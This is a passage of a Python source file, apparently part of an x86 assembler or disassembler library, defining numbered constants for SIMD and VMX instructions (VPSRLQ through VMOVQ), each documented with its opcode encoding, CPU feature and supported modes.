``16/32/64-bit``
"""
VEX_VPSRLQ_YMM_YMM_IMM8: int = 1691
"""
``VPSRLQ ymm1, ymm2, imm8``
``VEX.256.66.0F.WIG 73 /2 ib``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPSRLQ_XMM_K1Z_XMMM128B64_IMM8: int = 1692
"""
``VPSRLQ xmm1 {k1}{z}, xmm2/m128/m64bcst, imm8``
``EVEX.128.66.0F.W1 73 /2 ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPSRLQ_YMM_K1Z_YMMM256B64_IMM8: int = 1693
"""
``VPSRLQ ymm1 {k1}{z}, ymm2/m256/m64bcst, imm8``
``EVEX.256.66.0F.W1 73 /2 ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPSRLQ_ZMM_K1Z_ZMMM512B64_IMM8: int = 1694
"""
``VPSRLQ zmm1 {k1}{z}, zmm2/m512/m64bcst, imm8``
``EVEX.512.66.0F.W1 73 /2 ib``
``AVX512F``
``16/32/64-bit``
"""
PSRLDQ_XMM_IMM8: int = 1695
"""
``PSRLDQ xmm1, imm8``
``66 0F 73 /3 ib``
``SSE2``
``16/32/64-bit``
"""
VEX_VPSRLDQ_XMM_XMM_IMM8: int = 1696
"""
``VPSRLDQ xmm1, xmm2, imm8``
``VEX.128.66.0F.WIG 73 /3 ib``
``AVX``
``16/32/64-bit``
"""
VEX_VPSRLDQ_YMM_YMM_IMM8: int = 1697
"""
``VPSRLDQ ymm1, ymm2, imm8``
``VEX.256.66.0F.WIG 73 /3 ib``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPSRLDQ_XMM_XMMM128_IMM8: int = 1698
"""
``VPSRLDQ xmm1, xmm2/m128, imm8``
``EVEX.128.66.0F.WIG 73 /3 ib``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPSRLDQ_YMM_YMMM256_IMM8: int = 1699
"""
``VPSRLDQ ymm1, ymm2/m256, imm8``
``EVEX.256.66.0F.WIG 73 /3 ib``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPSRLDQ_ZMM_ZMMM512_IMM8: int = 1700
"""
``VPSRLDQ zmm1, zmm2/m512, imm8``
``EVEX.512.66.0F.WIG 73 /3 ib``
``AVX512BW``
``16/32/64-bit``
"""
PSLLQ_MM_IMM8: int = 1701
"""
``PSLLQ mm, imm8``
``NP 0F 73 /6 ib``
``MMX``
``16/32/64-bit``
"""
PSLLQ_XMM_IMM8: int = 1702
"""
``PSLLQ xmm1, imm8``
``66 0F 73 /6 ib``
``SSE2``
``16/32/64-bit``
"""
VEX_VPSLLQ_XMM_XMM_IMM8: int = 1703
"""
``VPSLLQ xmm1, xmm2, imm8``
``VEX.128.66.0F.WIG 73 /6 ib``
``AVX``
``16/32/64-bit``
"""
VEX_VPSLLQ_YMM_YMM_IMM8: int = 1704
"""
``VPSLLQ ymm1, ymm2, imm8``
``VEX.256.66.0F.WIG 73 /6 ib``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPSLLQ_XMM_K1Z_XMMM128B64_IMM8: int = 1705
"""
``VPSLLQ xmm1 {k1}{z}, xmm2/m128/m64bcst, imm8``
``EVEX.128.66.0F.W1 73 /6 ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPSLLQ_YMM_K1Z_YMMM256B64_IMM8: int = 1706
"""
``VPSLLQ ymm1 {k1}{z}, ymm2/m256/m64bcst, imm8``
``EVEX.256.66.0F.W1 73 /6 ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPSLLQ_ZMM_K1Z_ZMMM512B64_IMM8: int = 1707
"""
``VPSLLQ zmm1 {k1}{z}, zmm2/m512/m64bcst, imm8``
``EVEX.512.66.0F.W1 73 /6 ib``
``AVX512F``
``16/32/64-bit``
"""
PSLLDQ_XMM_IMM8: int = 1708
"""
``PSLLDQ xmm1, imm8``
``66 0F 73 /7 ib``
``SSE2``
``16/32/64-bit``
"""
VEX_VPSLLDQ_XMM_XMM_IMM8: int = 1709
"""
``VPSLLDQ xmm1, xmm2, imm8``
``VEX.128.66.0F.WIG 73 /7 ib``
``AVX``
``16/32/64-bit``
"""
VEX_VPSLLDQ_YMM_YMM_IMM8: int = 1710
"""
``VPSLLDQ ymm1, ymm2, imm8``
``VEX.256.66.0F.WIG 73 /7 ib``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPSLLDQ_XMM_XMMM128_IMM8: int = 1711
"""
``VPSLLDQ xmm1, xmm2/m128, imm8``
``EVEX.128.66.0F.WIG 73 /7 ib``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPSLLDQ_YMM_YMMM256_IMM8: int = 1712
"""
``VPSLLDQ ymm1, ymm2/m256, imm8``
``EVEX.256.66.0F.WIG 73 /7 ib``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPSLLDQ_ZMM_ZMMM512_IMM8: int = 1713
"""
``VPSLLDQ zmm1, zmm2/m512, imm8``
``EVEX.512.66.0F.WIG 73 /7 ib``
``AVX512BW``
``16/32/64-bit``
"""
PCMPEQB_MM_MMM64: int = 1714
"""
``PCMPEQB mm, mm/m64``
``NP 0F 74 /r``
``MMX``
``16/32/64-bit``
"""
PCMPEQB_XMM_XMMM128: int = 1715
"""
``PCMPEQB xmm1, xmm2/m128``
``66 0F 74 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPCMPEQB_XMM_XMM_XMMM128: int = 1716
"""
``VPCMPEQB xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG 74 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPCMPEQB_YMM_YMM_YMMM256: int = 1717
"""
``VPCMPEQB ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG 74 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPCMPEQB_KR_K1_XMM_XMMM128: int = 1718
"""
``VPCMPEQB k1 {k2}, xmm2, xmm3/m128``
``EVEX.128.66.0F.WIG 74 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPCMPEQB_KR_K1_YMM_YMMM256: int = 1719
"""
``VPCMPEQB k1 {k2}, ymm2, ymm3/m256``
``EVEX.256.66.0F.WIG 74 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPCMPEQB_KR_K1_ZMM_ZMMM512: int = 1720
"""
``VPCMPEQB k1 {k2}, zmm2, zmm3/m512``
``EVEX.512.66.0F.WIG 74 /r``
``AVX512BW``
``16/32/64-bit``
"""
PCMPEQW_MM_MMM64: int = 1721
"""
``PCMPEQW mm, mm/m64``
``NP 0F 75 /r``
``MMX``
``16/32/64-bit``
"""
PCMPEQW_XMM_XMMM128: int = 1722
"""
``PCMPEQW xmm1, xmm2/m128``
``66 0F 75 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPCMPEQW_XMM_XMM_XMMM128: int = 1723
"""
``VPCMPEQW xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG 75 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPCMPEQW_YMM_YMM_YMMM256: int = 1724
"""
``VPCMPEQW ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG 75 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPCMPEQW_KR_K1_XMM_XMMM128: int = 1725
"""
``VPCMPEQW k1 {k2}, xmm2, xmm3/m128``
``EVEX.128.66.0F.WIG 75 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPCMPEQW_KR_K1_YMM_YMMM256: int = 1726
"""
``VPCMPEQW k1 {k2}, ymm2, ymm3/m256``
``EVEX.256.66.0F.WIG 75 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPCMPEQW_KR_K1_ZMM_ZMMM512: int = 1727
"""
``VPCMPEQW k1 {k2}, zmm2, zmm3/m512``
``EVEX.512.66.0F.WIG 75 /r``
``AVX512BW``
``16/32/64-bit``
"""
PCMPEQD_MM_MMM64: int = 1728
"""
``PCMPEQD mm, mm/m64``
``NP 0F 76 /r``
``MMX``
``16/32/64-bit``
"""
PCMPEQD_XMM_XMMM128: int = 1729
"""
``PCMPEQD xmm1, xmm2/m128``
``66 0F 76 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPCMPEQD_XMM_XMM_XMMM128: int = 1730
"""
``VPCMPEQD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG 76 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPCMPEQD_YMM_YMM_YMMM256: int = 1731
"""
``VPCMPEQD ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG 76 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPCMPEQD_KR_K1_XMM_XMMM128B32: int = 1732
"""
``VPCMPEQD k1 {k2}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.66.0F.W0 76 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPCMPEQD_KR_K1_YMM_YMMM256B32: int = 1733
"""
``VPCMPEQD k1 {k2}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F.W0 76 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPCMPEQD_KR_K1_ZMM_ZMMM512B32: int = 1734
"""
``VPCMPEQD k1 {k2}, zmm2, zmm3/m512/m32bcst``
``EVEX.512.66.0F.W0 76 /r``
``AVX512F``
``16/32/64-bit``
"""
EMMS: int = 1735
"""
``EMMS``
``NP 0F 77``
``MMX``
``16/32/64-bit``
"""
VEX_VZEROUPPER: int = 1736
"""
``VZEROUPPER``
``VEX.128.0F.WIG 77``
``AVX``
``16/32/64-bit``
"""
VEX_VZEROALL: int = 1737
"""
``VZEROALL``
``VEX.256.0F.WIG 77``
``AVX``
``16/32/64-bit``
"""
VMREAD_RM32_R32: int = 1738
"""
``VMREAD r/m32, r32``
``NP 0F 78 /r``
``VMX``
``16/32-bit``
"""
VMREAD_RM64_R64: int = 1739
"""
``VMREAD r/m64, r64``
``NP 0F 78 /r``
``VMX``
``64-bit``
"""
EVEX_VCVTTPS2UDQ_XMM_K1Z_XMMM128B32: int = 1740
"""
``VCVTTPS2UDQ xmm1 {k1}{z}, xmm2/m128/m32bcst``
``EVEX.128.0F.W0 78 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VCVTTPS2UDQ_YMM_K1Z_YMMM256B32: int = 1741
"""
``VCVTTPS2UDQ ymm1 {k1}{z}, ymm2/m256/m32bcst``
``EVEX.256.0F.W0 78 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VCVTTPS2UDQ_ZMM_K1Z_ZMMM512B32_SAE: int = 1742
"""
``VCVTTPS2UDQ zmm1 {k1}{z}, zmm2/m512/m32bcst{sae}``
``EVEX.512.0F.W0 78 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VCVTTPD2UDQ_XMM_K1Z_XMMM128B64: int = 1743
"""
``VCVTTPD2UDQ xmm1 {k1}{z}, xmm2/m128/m64bcst``
``EVEX.128.0F.W1 78 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VCVTTPD2UDQ_XMM_K1Z_YMMM256B64: int = 1744
"""
``VCVTTPD2UDQ xmm1 {k1}{z}, ymm2/m256/m64bcst``
``EVEX.256.0F.W1 78 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VCVTTPD2UDQ_YMM_K1Z_ZMMM512B64_SAE: int = 1745
"""
``VCVTTPD2UDQ ymm1 {k1}{z}, zmm2/m512/m64bcst{sae}``
``EVEX.512.0F.W1 78 /r``
``AVX512F``
``16/32/64-bit``
"""
EXTRQ_XMM_IMM8_IMM8: int = 1746
"""
``EXTRQ xmm1, imm8, imm8``
``66 0F 78 /0 ib ib``
``SSE4A``
``16/32/64-bit``
"""
EVEX_VCVTTPS2UQQ_XMM_K1Z_XMMM64B32: int = 1747
"""
``VCVTTPS2UQQ xmm1 {k1}{z}, xmm2/m64/m32bcst``
``EVEX.128.66.0F.W0 78 /r``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VCVTTPS2UQQ_YMM_K1Z_XMMM128B32: int = 1748
"""
``VCVTTPS2UQQ ymm1 {k1}{z}, xmm2/m128/m32bcst``
``EVEX.256.66.0F.W0 78 /r``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VCVTTPS2UQQ_ZMM_K1Z_YMMM256B32_SAE: int = 1749
"""
``VCVTTPS2UQQ zmm1 {k1}{z}, ymm2/m256/m32bcst{sae}``
``EVEX.512.66.0F.W0 78 /r``
``AVX512DQ``
``16/32/64-bit``
"""
EVEX_VCVTTPD2UQQ_XMM_K1Z_XMMM128B64: int = 1750
"""
``VCVTTPD2UQQ xmm1 {k1}{z}, xmm2/m128/m64bcst``
``EVEX.128.66.0F.W1 78 /r``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VCVTTPD2UQQ_YMM_K1Z_YMMM256B64: int = 1751
"""
``VCVTTPD2UQQ ymm1 {k1}{z}, ymm2/m256/m64bcst``
``EVEX.256.66.0F.W1 78 /r``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VCVTTPD2UQQ_ZMM_K1Z_ZMMM512B64_SAE: int = 1752
"""
``VCVTTPD2UQQ zmm1 {k1}{z}, zmm2/m512/m64bcst{sae}``
``EVEX.512.66.0F.W1 78 /r``
``AVX512DQ``
``16/32/64-bit``
"""
EVEX_VCVTTSS2USI_R32_XMMM32_SAE: int = 1753
"""
``VCVTTSS2USI r32, xmm1/m32{sae}``
``EVEX.LIG.F3.0F.W0 78 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VCVTTSS2USI_R64_XMMM32_SAE: int = 1754
"""
``VCVTTSS2USI r64, xmm1/m32{sae}``
``EVEX.LIG.F3.0F.W1 78 /r``
``AVX512F``
``64-bit``
"""
INSERTQ_XMM_XMM_IMM8_IMM8: int = 1755
"""
``INSERTQ xmm1, xmm2, imm8, imm8``
``F2 0F 78 /r ib ib``
``SSE4A``
``16/32/64-bit``
"""
EVEX_VCVTTSD2USI_R32_XMMM64_SAE: int = 1756
"""
``VCVTTSD2USI r32, xmm1/m64{sae}``
``EVEX.LIG.F2.0F.W0 78 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VCVTTSD2USI_R64_XMMM64_SAE: int = 1757
"""
``VCVTTSD2USI r64, xmm1/m64{sae}``
``EVEX.LIG.F2.0F.W1 78 /r``
``AVX512F``
``64-bit``
"""
VMWRITE_R32_RM32: int = 1758
"""
``VMWRITE r32, r/m32``
``NP 0F 79 /r``
``VMX``
``16/32-bit``
"""
VMWRITE_R64_RM64: int = 1759
"""
``VMWRITE r64, r/m64``
``NP 0F 79 /r``
``VMX``
``64-bit``
"""
EVEX_VCVTPS2UDQ_XMM_K1Z_XMMM128B32: int = 1760
"""
``VCVTPS2UDQ xmm1 {k1}{z}, xmm2/m128/m32bcst``
``EVEX.128.0F.W0 79 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VCVTPS2UDQ_YMM_K1Z_YMMM256B32: int = 1761
"""
``VCVTPS2UDQ ymm1 {k1}{z}, ymm2/m256/m32bcst``
``EVEX.256.0F.W0 79 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VCVTPS2UDQ_ZMM_K1Z_ZMMM512B32_ER: int = 1762
"""
``VCVTPS2UDQ zmm1 {k1}{z}, zmm2/m512/m32bcst{er}``
``EVEX.512.0F.W0 79 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VCVTPD2UDQ_XMM_K1Z_XMMM128B64: int = 1763
"""
``VCVTPD2UDQ xmm1 {k1}{z}, xmm2/m128/m64bcst``
``EVEX.128.0F.W1 79 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VCVTPD2UDQ_XMM_K1Z_YMMM256B64: int = 1764
"""
``VCVTPD2UDQ xmm1 {k1}{z}, ymm2/m256/m64bcst``
``EVEX.256.0F.W1 79 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VCVTPD2UDQ_YMM_K1Z_ZMMM512B64_ER: int = 1765
"""
``VCVTPD2UDQ ymm1 {k1}{z}, zmm2/m512/m64bcst{er}``
``EVEX.512.0F.W1 79 /r``
``AVX512F``
``16/32/64-bit``
"""
EXTRQ_XMM_XMM: int = 1766
"""
``EXTRQ xmm1, xmm2``
``66 0F 79 /r``
``SSE4A``
``16/32/64-bit``
"""
EVEX_VCVTPS2UQQ_XMM_K1Z_XMMM64B32: int = 1767
"""
``VCVTPS2UQQ xmm1 {k1}{z}, xmm2/m64/m32bcst``
``EVEX.128.66.0F.W0 79 /r``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VCVTPS2UQQ_YMM_K1Z_XMMM128B32: int = 1768
"""
``VCVTPS2UQQ ymm1 {k1}{z}, xmm2/m128/m32bcst``
``EVEX.256.66.0F.W0 79 /r``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VCVTPS2UQQ_ZMM_K1Z_YMMM256B32_ER: int = 1769
"""
``VCVTPS2UQQ zmm1 {k1}{z}, ymm2/m256/m32bcst{er}``
``EVEX.512.66.0F.W0 79 /r``
``AVX512DQ``
``16/32/64-bit``
"""
EVEX_VCVTPD2UQQ_XMM_K1Z_XMMM128B64: int = 1770
"""
``VCVTPD2UQQ xmm1 {k1}{z}, xmm2/m128/m64bcst``
``EVEX.128.66.0F.W1 79 /r``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VCVTPD2UQQ_YMM_K1Z_YMMM256B64: int = 1771
"""
``VCVTPD2UQQ ymm1 {k1}{z}, ymm2/m256/m64bcst``
``EVEX.256.66.0F.W1 79 /r``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VCVTPD2UQQ_ZMM_K1Z_ZMMM512B64_ER: int = 1772
"""
``VCVTPD2UQQ zmm1 {k1}{z}, zmm2/m512/m64bcst{er}``
``EVEX.512.66.0F.W1 79 /r``
``AVX512DQ``
``16/32/64-bit``
"""
EVEX_VCVTSS2USI_R32_XMMM32_ER: int = 1773
"""
``VCVTSS2USI r32, xmm1/m32{er}``
``EVEX.LIG.F3.0F.W0 79 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VCVTSS2USI_R64_XMMM32_ER: int = 1774
"""
``VCVTSS2USI r64, xmm1/m32{er}``
``EVEX.LIG.F3.0F.W1 79 /r``
``AVX512F``
``64-bit``
"""
INSERTQ_XMM_XMM: int = 1775
"""
``INSERTQ xmm1, xmm2``
``F2 0F 79 /r``
``SSE4A``
``16/32/64-bit``
"""
EVEX_VCVTSD2USI_R32_XMMM64_ER: int = 1776
"""
``VCVTSD2USI r32, xmm1/m64{er}``
``EVEX.LIG.F2.0F.W0 79 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VCVTSD2USI_R64_XMMM64_ER: int = 1777
"""
``VCVTSD2USI r64, xmm1/m64{er}``
``EVEX.LIG.F2.0F.W1 79 /r``
``AVX512F``
``64-bit``
"""
EVEX_VCVTTPS2QQ_XMM_K1Z_XMMM64B32: int = 1778
"""
``VCVTTPS2QQ xmm1 {k1}{z}, xmm2/m64/m32bcst``
``EVEX.128.66.0F.W0 7A /r``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VCVTTPS2QQ_YMM_K1Z_XMMM128B32: int = 1779
"""
``VCVTTPS2QQ ymm1 {k1}{z}, xmm2/m128/m32bcst``
``EVEX.256.66.0F.W0 7A /r``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VCVTTPS2QQ_ZMM_K1Z_YMMM256B32_SAE: int = 1780
"""
``VCVTTPS2QQ zmm1 {k1}{z}, ymm2/m256/m32bcst{sae}``
``EVEX.512.66.0F.W0 7A /r``
``AVX512DQ``
``16/32/64-bit``
"""
EVEX_VCVTTPD2QQ_XMM_K1Z_XMMM128B64: int = 1781
"""
``VCVTTPD2QQ xmm1 {k1}{z}, xmm2/m128/m64bcst``
``EVEX.128.66.0F.W1 7A /r``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VCVTTPD2QQ_YMM_K1Z_YMMM256B64: int = 1782
"""
``VCVTTPD2QQ ymm1 {k1}{z}, ymm2/m256/m64bcst``
``EVEX.256.66.0F.W1 7A /r``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VCVTTPD2QQ_ZMM_K1Z_ZMMM512B64_SAE: int = 1783
"""
``VCVTTPD2QQ zmm1 {k1}{z}, zmm2/m512/m64bcst{sae}``
``EVEX.512.66.0F.W1 7A /r``
``AVX512DQ``
``16/32/64-bit``
"""
EVEX_VCVTUDQ2PD_XMM_K1Z_XMMM64B32: int = 1784
"""
``VCVTUDQ2PD xmm1 {k1}{z}, xmm2/m64/m32bcst``
``EVEX.128.F3.0F.W0 7A /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VCVTUDQ2PD_YMM_K1Z_XMMM128B32: int = 1785
"""
``VCVTUDQ2PD ymm1 {k1}{z}, xmm2/m128/m32bcst``
``EVEX.256.F3.0F.W0 7A /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VCVTUDQ2PD_ZMM_K1Z_YMMM256B32_ER: int = 1786
"""
``VCVTUDQ2PD zmm1 {k1}{z}, ymm2/m256/m32bcst{er}``
``EVEX.512.F3.0F.W0 7A /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VCVTUQQ2PD_XMM_K1Z_XMMM128B64: int = 1787
"""
``VCVTUQQ2PD xmm1 {k1}{z}, xmm2/m128/m64bcst``
``EVEX.128.F3.0F.W1 7A /r``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VCVTUQQ2PD_YMM_K1Z_YMMM256B64: int = 1788
"""
``VCVTUQQ2PD ymm1 {k1}{z}, ymm2/m256/m64bcst``
``EVEX.256.F3.0F.W1 7A /r``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VCVTUQQ2PD_ZMM_K1Z_ZMMM512B64_ER: int = 1789
"""
``VCVTUQQ2PD zmm1 {k1}{z}, zmm2/m512/m64bcst{er}``
``EVEX.512.F3.0F.W1 7A /r``
``AVX512DQ``
``16/32/64-bit``
"""
EVEX_VCVTUDQ2PS_XMM_K1Z_XMMM128B32: int = 1790
"""
``VCVTUDQ2PS xmm1 {k1}{z}, xmm2/m128/m32bcst``
``EVEX.128.F2.0F.W0 7A /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VCVTUDQ2PS_YMM_K1Z_YMMM256B32: int = 1791
"""
``VCVTUDQ2PS ymm1 {k1}{z}, ymm2/m256/m32bcst``
``EVEX.256.F2.0F.W0 7A /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VCVTUDQ2PS_ZMM_K1Z_ZMMM512B32_ER: int = 1792
"""
``VCVTUDQ2PS zmm1 {k1}{z}, zmm2/m512/m32bcst{er}``
``EVEX.512.F2.0F.W0 7A /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VCVTUQQ2PS_XMM_K1Z_XMMM128B64: int = 1793
"""
``VCVTUQQ2PS xmm1 {k1}{z}, xmm2/m128/m64bcst``
``EVEX.128.F2.0F.W1 7A /r``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VCVTUQQ2PS_XMM_K1Z_YMMM256B64: int = 1794
"""
``VCVTUQQ2PS xmm1 {k1}{z}, ymm2/m256/m64bcst``
``EVEX.256.F2.0F.W1 7A /r``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VCVTUQQ2PS_YMM_K1Z_ZMMM512B64_ER: int = 1795
"""
``VCVTUQQ2PS ymm1 {k1}{z}, zmm2/m512/m64bcst{er}``
``EVEX.512.F2.0F.W1 7A /r``
``AVX512DQ``
``16/32/64-bit``
"""
EVEX_VCVTPS2QQ_XMM_K1Z_XMMM64B32: int = 1796
"""
``VCVTPS2QQ xmm1 {k1}{z}, xmm2/m64/m32bcst``
``EVEX.128.66.0F.W0 7B /r``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VCVTPS2QQ_YMM_K1Z_XMMM128B32: int = 1797
"""
``VCVTPS2QQ ymm1 {k1}{z}, xmm2/m128/m32bcst``
``EVEX.256.66.0F.W0 7B /r``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VCVTPS2QQ_ZMM_K1Z_YMMM256B32_ER: int = 1798
"""
``VCVTPS2QQ zmm1 {k1}{z}, ymm2/m256/m32bcst{er}``
``EVEX.512.66.0F.W0 7B /r``
``AVX512DQ``
``16/32/64-bit``
"""
EVEX_VCVTPD2QQ_XMM_K1Z_XMMM128B64: int = 1799
"""
``VCVTPD2QQ xmm1 {k1}{z}, xmm2/m128/m64bcst``
``EVEX.128.66.0F.W1 7B /r``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VCVTPD2QQ_YMM_K1Z_YMMM256B64: int = 1800
"""
``VCVTPD2QQ ymm1 {k1}{z}, ymm2/m256/m64bcst``
``EVEX.256.66.0F.W1 7B /r``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VCVTPD2QQ_ZMM_K1Z_ZMMM512B64_ER: int = 1801
"""
``VCVTPD2QQ zmm1 {k1}{z}, zmm2/m512/m64bcst{er}``
``EVEX.512.66.0F.W1 7B /r``
``AVX512DQ``
``16/32/64-bit``
"""
EVEX_VCVTUSI2SS_XMM_XMM_RM32_ER: int = 1802
"""
``VCVTUSI2SS xmm1, xmm2, r/m32{er}``
``EVEX.LIG.F3.0F.W0 7B /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VCVTUSI2SS_XMM_XMM_RM64_ER: int = 1803
"""
``VCVTUSI2SS xmm1, xmm2, r/m64{er}``
``EVEX.LIG.F3.0F.W1 7B /r``
``AVX512F``
``64-bit``
"""
EVEX_VCVTUSI2SD_XMM_XMM_RM32_ER: int = 1804
"""
``VCVTUSI2SD xmm1, xmm2, r/m32{er}``
``EVEX.LIG.F2.0F.W0 7B /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VCVTUSI2SD_XMM_XMM_RM64_ER: int = 1805
"""
``VCVTUSI2SD xmm1, xmm2, r/m64{er}``
``EVEX.LIG.F2.0F.W1 7B /r``
``AVX512F``
``64-bit``
"""
HADDPD_XMM_XMMM128: int = 1806
"""
``HADDPD xmm1, xmm2/m128``
``66 0F 7C /r``
``SSE3``
``16/32/64-bit``
"""
VEX_VHADDPD_XMM_XMM_XMMM128: int = 1807
"""
``VHADDPD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG 7C /r``
``AVX``
``16/32/64-bit``
"""
VEX_VHADDPD_YMM_YMM_YMMM256: int = 1808
"""
``VHADDPD ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG 7C /r``
``AVX``
``16/32/64-bit``
"""
HADDPS_XMM_XMMM128: int = 1809
"""
``HADDPS xmm1, xmm2/m128``
``F2 0F 7C /r``
``SSE3``
``16/32/64-bit``
"""
VEX_VHADDPS_XMM_XMM_XMMM128: int = 1810
"""
``VHADDPS xmm1, xmm2, xmm3/m128``
``VEX.128.F2.0F.WIG 7C /r``
``AVX``
``16/32/64-bit``
"""
VEX_VHADDPS_YMM_YMM_YMMM256: int = 1811
"""
``VHADDPS ymm1, ymm2, ymm3/m256``
``VEX.256.F2.0F.WIG 7C /r``
``AVX``
``16/32/64-bit``
"""
HSUBPD_XMM_XMMM128: int = 1812
"""
``HSUBPD xmm1, xmm2/m128``
``66 0F 7D /r``
``SSE3``
``16/32/64-bit``
"""
VEX_VHSUBPD_XMM_XMM_XMMM128: int = 1813
"""
``VHSUBPD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG 7D /r``
``AVX``
``16/32/64-bit``
"""
VEX_VHSUBPD_YMM_YMM_YMMM256: int = 1814
"""
``VHSUBPD ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG 7D /r``
``AVX``
``16/32/64-bit``
"""
HSUBPS_XMM_XMMM128: int = 1815
"""
``HSUBPS xmm1, xmm2/m128``
``F2 0F 7D /r``
``SSE3``
``16/32/64-bit``
"""
VEX_VHSUBPS_XMM_XMM_XMMM128: int = 1816
"""
``VHSUBPS xmm1, xmm2, xmm3/m128``
``VEX.128.F2.0F.WIG 7D /r``
``AVX``
``16/32/64-bit``
"""
VEX_VHSUBPS_YMM_YMM_YMMM256: int = 1817
"""
``VHSUBPS ymm1, ymm2, ymm3/m256``
``VEX.256.F2.0F.WIG 7D /r``
``AVX``
``16/32/64-bit``
"""
MOVD_RM32_MM: int = 1818
"""
``MOVD r/m32, mm``
``NP 0F 7E /r``
``MMX``
``16/32/64-bit``
"""
MOVQ_RM64_MM: int = 1819
"""
``MOVQ r/m64, mm``
``NP o64 0F 7E /r``
``MMX``
``64-bit``
"""
MOVD_RM32_XMM: int = 1820
"""
``MOVD r/m32, xmm``
``66 0F 7E /r``
``SSE2``
``16/32/64-bit``
"""
MOVQ_RM64_XMM: int = 1821
"""
``MOVQ r/m64, xmm``
``66 o64 0F 7E /r``
``SSE2``
``64-bit``
"""
VEX_VMOVD_RM32_XMM: int = 1822
"""
``VMOVD r/m32, xmm1``
``VEX.128.66.0F.W0 7E /r``
``AVX``
``16/32/64-bit``
"""
VEX_VMOVQ_RM64_XMM: int = 1823
"""
